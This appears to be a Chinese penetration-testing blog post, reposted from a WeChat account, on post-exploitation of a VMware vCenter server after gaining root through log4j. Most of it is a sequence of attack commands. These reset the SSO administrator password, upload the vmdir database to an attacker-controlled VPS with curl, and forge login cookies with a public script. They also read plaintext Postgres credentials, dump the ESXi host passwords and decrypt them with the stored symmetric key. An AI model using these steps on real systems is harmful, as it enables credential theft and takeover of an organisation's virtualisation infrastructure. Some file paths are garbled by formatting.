一、简介
前段时间在搞攻防,遇到了Vcenter,通过log4j拿下了vcenter的root权限,到这⾥需要获取其密码进⾏登录。再次记录⼀下踩坑记录。
⼆、利⽤⽅式
1、重置密码
最简单粗暴的⽅式就是直接重置控制台的密码,但是这样会影响到防守⽅的业务,⽽且也很容易被发现
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows
C:Program FilesVmwarevCenter Servervmdirdvdcadmintool.exe
执⾏后选择重置密码选项,然后输⼊administrator@vsphere.local 进⾏重置。
2、 Cookie 登录
读取数据库的⽂件,然后使⽤脚本进⾏利⽤解密cookie,使⽤获取到的cookie进⾏登录。
1 利⽤脚本
2 https://github.com/horizon3ai/vcenter_saml_login
数据库⽂件位于
linux
/storage/db/vmware-vmdir/data.mdb
windows
C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb
这⾥可以通过在vps开启⼀个http服务
python3 SimpleHTTPServerWithUpload.py
然后将数据库⽂件上传到vps
curl -F “file=@/storage/db/vmware-vmdir/data.mdb” http://192.168.11.50:800
0/
最后再利⽤脚本执⾏,获取登录的cookie
python vcenter_saml_login.py -p data.mdb -t IP
在本次实战中,使⽤此⽅式遇到了很多的坑,出现了⼀堆的报错信息,很久也⽆法结局,所以本次采⽤的是第三种⽅式。获取esxi密码
3、获取esxi密码
在此之前,先了解下vSphere,ESXi 和 vCenter:
vSphere 是在数据中⼼产品下的⼀套软件。vSphere 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word,Excel,Access 等。和 Office⼀样,vSphere也是⼀个软件的集合。它包括了vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署⽅案的总和。
ESXi 是 vSphere 中最重要的⼀个组件。ESXi 是虚拟化服务。所有的虚拟机都是运⾏在 ESXi 服务上⾯。
vSphere (web) client 是⼀个管理平台,它能够直接管理多个不同的 ESXi 主机,包含许多进阶功能:集群故障转移等。⽽ ESXi ⾃带的管理平台只能管理⾃身所处的 ESXi 主机。⽽ vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。通过资源池也可以规划虚拟机资源占⽤。
vCenter Server在ESXi 6.0之前是通过C/S架构来管理 ESXi 集群的,没有 web 端,且安装环境较为苛刻,必须为 Server 版本的服务器才可以安装。在 6.0 版本之后,官⽅已经取消了 C/S 架构的客户端,转⽽采⽤了 web 管理平台,⼜被称之为 vSphere web client。⽽部署了 vSphere web client 的服务器被称之为 vCenter Server。
在vCenter系统中,存在⼀个包含客户端postgresDB的明⽂登录凭证的文件:/etc/vmware- vpx/vcdb.properties。任何属于 cis 组的⽤户都可以访问这个⽂件。即:任何属于 cis 组的⽤户都可以连接到 vCenter 的 Postgres 数据库。
获取postgres 数据库信息。
# linux
cat /etc/vmware-vpx/vcdb.properties
# windows
C:ProgramDataVMwarevCenterServercfgvmware-vpsvcdb.properties
连接数据库,获取到vpxuser密钥信息
# linux
2 /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB - c "select ip_address,user_name,password from vpx_host;" > password.enc
3
4 #windows
5 C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe -h 127.0.0.1
-p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_hos t;" > password.enc
读出来的类似于以下格式
读取密钥symkey.dat
# windows
type C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat
# linux
cat /etc/vmware-vpx/ssl/symkey.dat
然后再使⽤脚本解密
python3 decrypt.py symkey.dat password.enc password.txt
脚本链接
可前往原文观看
使⽤解密出来的账号信息可直接登录esxi
原文始发于微信公众号(渗透安全团队):实战 | Vcenter 后渗透利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论